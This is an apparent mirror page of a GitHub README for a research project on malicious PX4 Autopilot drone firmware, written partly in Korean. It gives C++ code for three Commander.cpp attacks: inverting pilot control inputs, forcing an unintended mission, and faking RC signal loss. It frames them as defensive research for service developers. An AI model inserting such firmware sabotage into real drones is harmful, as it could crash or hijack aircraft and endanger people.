Giter VIP home page Giter VIP logo

jaeyoung0826 / px4-malicious Goto Github PK

View Code? Open in Web Editor NEW
0.0 0.0 1.0 432 MB

Development of malicious drone software using PX4 Autopilot ๐Ÿš๐Ÿ‘ฟ Selected as an excellent paper in 2020 KSC Information Security and High-Reliability Computing section.

GDB 0.01% CMake 0.37% C 90.64% C++ 6.46% Makefile 0.96% VBA 0.01% Shell 0.39% Python 0.06% HTML 0.01% CSS 0.01% PHP 0.01% Lex 0.04% Batchfile 0.02% Assembly 1.04% Perl 0.01% Io 0.01%

px4-malicious's Introduction

PX4-Malicious

Development of Malicious Drone Software Using PX4 Autopilot

PX4-Malicious ํ”„๋กœ์ ํŠธ๋Š” ๋“œ๋ก  ๊ณต๊ฒฉ ์‚ฌ๋ก€๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ฒด๊ณ„ํ™”ํ•˜๊ณ , PX4 Autopilot์„ ํ™œ์šฉํ•ด ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค์— ํ•ด๋‹นํ•˜๋Š” ์•…์„ฑ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ๊ตฌํ˜„ํ•จ์œผ๋กœ์จ, ์„œ๋น„์Šค ๊ฐœ๋ฐœ์ž๋“ค์—๊ฒŒ ์–ด๋–ค ๊ณต๊ฒฉ์— ๋Œ€๋น„ํ•ด์•ผ ํ•˜๋Š”์ง€ ๋ฐฉํ–ฅ์„ ์ œ์‹œํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•œ๋‹ค.

PX4 Autopilot

logo
PX4 Autopilot is an Opensource autopilot system for Unmanned Aerial Vehicle

PX4 Architecture

arch

3-Factor of Drone Attack

3-factor

Content Description
Drone Aircraft ๋“œ๋ก  ๊ธฐ๊ธฐ ๋‚ด๋ถ€์˜ ์ƒํƒœ ์ด์ƒ
Ground Control System ๋“œ๋ก ์˜ ์™ธ๋ถ€, GCS ์ƒํƒœ ์ด์ƒ
Drone Flight Stack ๋“œ๋ก  ๋น„ํ–‰ ๊ณผ์ •์—์„œ ๋™์  ์š”์†Œ์— ์˜ํ•œ ์ƒํƒœ ์ด์ƒ

Let's Hack a Drone ๐Ÿ‘ฟ

Scenario #1: Generating Control Error

  • ๋ฐ๋ชจ ์˜์ƒ: YouTube Link
  • ๊ณต๊ฒฉ ์œ ํ˜•: Drone Aircraft, Drone Flight Stack
  • ๊ณต๊ฒฉ ์ง€์ : Drone Firmware, Commander.cpp
  • ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•:
    image
Step 1: ์ƒˆ๋กœ์šด Data๊ฐ€ Publish ๋๋Š”์ง€ ํ™•์ธ
if(last_setpoint_x != (int)(_manual_control_setpoint.x * 10000) && last_setpoint_y != (int)(_manual_control_setpoint.y *10000))
Step 2: ์ƒˆ๋กœ์šด Setpoint ์„ ์–ธ & orb_copy๋ฅผ ์ด์šฉํ•ด ๋ณต์‚ฌ
struct manual_control_setpoint_s temp_setpoint;
orb_copy(ORB_ID(manual_control_setpoint), 1, &temp_setpoint);
Step 3: ์ƒˆ๋กœ์šด Setpoint ๊ฐ’์— x, y์˜ ๋ฐ˜๋Œ€ ๋ฐฉํ–ฅ์œผ๋กœ ์—…๋ฐ์ดํŠธ
temp_setpoint = _manual_control_setpoint;
temp_setpoint.x *= (-1);
temp_setpoint.y *= (-1);
Step 4: ์—…๋ฐ์ดํŠธ๋œ Setpoint ๊ฐ’ Publish
orb_advert_t changed_setpoint = orb_advertise(ORB_ID(manual_control_setpoint), &temp_setpoint);
orb_publish(ORB_ID(manual_control_setpoint), changed_setpoint, &temp_setpoint);
Step 5: ํ˜„์žฌ Setpoint ๊ฐ’์„ last_setpoint์— ์ €์žฅ
last_setpoint_x = (int)(temp_setpoint.x * 10000);
last_setpoint_y = (int)(temp_setpoint.y * 10000);

Scenario #2: Unintended Mission Conduct

  • ๋ฐ๋ชจ ์˜์ƒ: YouTube Link
  • ๊ณต๊ฒฉ ์œ ํ˜•: Drone Aircraft, Ground Control Station, Drone Flight Stack
  • ๊ณต๊ฒฉ ์ง€์ : Drone Firmware, Commander.cpp
  • ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•:
    image
Step 1: Mission ๊ตฌ์กฐ์ฒด ์„ ์–ธ
mission_s mission;
Step 2: Dataman์˜ Data(Mission, Setpoint) ์ฝ์€ ๊ฒฐ๊ณผ๋ฅผ ์ƒˆ๋กœ ์„ ์–ธํ•œ Mission์— ์—…๋ฐ์ดํŠธ
if (dm_read(DM_KEY_MISSION_STATE, 0, &mission, sizeof(mission_s)) == sizeof(mission_s)) {
    if (mission.dataman_id == DM_KEY_WAYPOINTS_OFFBOARD_0 || mission.dataman_id == DM_KEY_WAYPOINTS_OFFBOARD_1) {
        if (mission.count > 0) {
            PX4_INFO("Mission #%d loaded, %u WPs, curr: %d", mission.dataman_id, mission.count, mission.current_seq);
        }
    }
}
Step 3: ์—…๋ฐ์ดํŠธ๋œ Mission์„ Publish
_mission_pub.publish(mission);
Step 4: Mission์ด ์ •์ƒ์ ์œผ๋กœ Publish ๋๋Š”์ง€ ํ™•์ธ
const bool mission_result_ok = (mission_result.timestamp > _boot_timestamp) 
    && (mission_result.instance_count > 0);
Step 5: Mission์ด ์ˆ˜ํ–‰ ๊ฐ€๋Šฅํ•œ ์ƒํƒœ์ธ์ง€ ํ™•์ธ
if (status_flags.condition_home_position_valid &&
    (prev_mission_instance_count != mission_result.instance_count)) {

    if (!status_flags.condition_auto_mission_available) {
        // the mission is invalid
        tune_mission_fail(true);

    } else if (mission_result.warning) {
        // the mission has a warning
        tune_mission_fail(true);

    } else {
        // the mission is valid
        tune_mission_ok(true);
    }
}
Step 6: Mission ์ˆ˜ํ–‰ ๋ชจ๋“œ๋กœ ์ „ํ™˜ & Mission ์ˆ˜ํ–‰๋จ
main_state_transition(status, commander_state_s::MAIN_STATE_AUTO_MISSION, status_flags, &_internal_state);
Step 7: Mission์ด ๋๋‚˜๋ฉด MESL02_Mission_flag๋ฅผ false๋กœ Set
if(_mission_result_sub.get().finished){
  MESL02_Mission_flag = false;
}

Scenario #3: RC Connection Lost

  • ๋ฐ๋ชจ ์˜์ƒ: YouTube Link
  • ๊ณต๊ฒฉ ์œ ํ˜•: Ground Control Station, Drone Flight Stack
  • ๊ณต๊ฒฉ ์ง€์ : Drone Firmware, Commander.cpp
  • ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•:
    image
Step 1: 1000๋ฒˆ์˜ Loss Signal์„ ๋ณด๋ƒ„
else if(MESL03_Loss_flag <= 1000)
Step 2: Status ๊ตฌ์กฐ์ฒด์˜ rc_signal_lost๋ฅผ true๋กœ ์ „ํ™˜
status.rc_signal_lost = true;
Step 3: set_health_flags() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์—…๋ฐ์ดํŠธ๋œ Status๋กœ flag ์„ค์ •
set_health_flags(subsystem_info_s::SUBSYSTEM_TYPE_RCRECEIVER, true, true, false, status);
_status_changed = true;

px4-malicious's People

Forkers

plushpluto

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.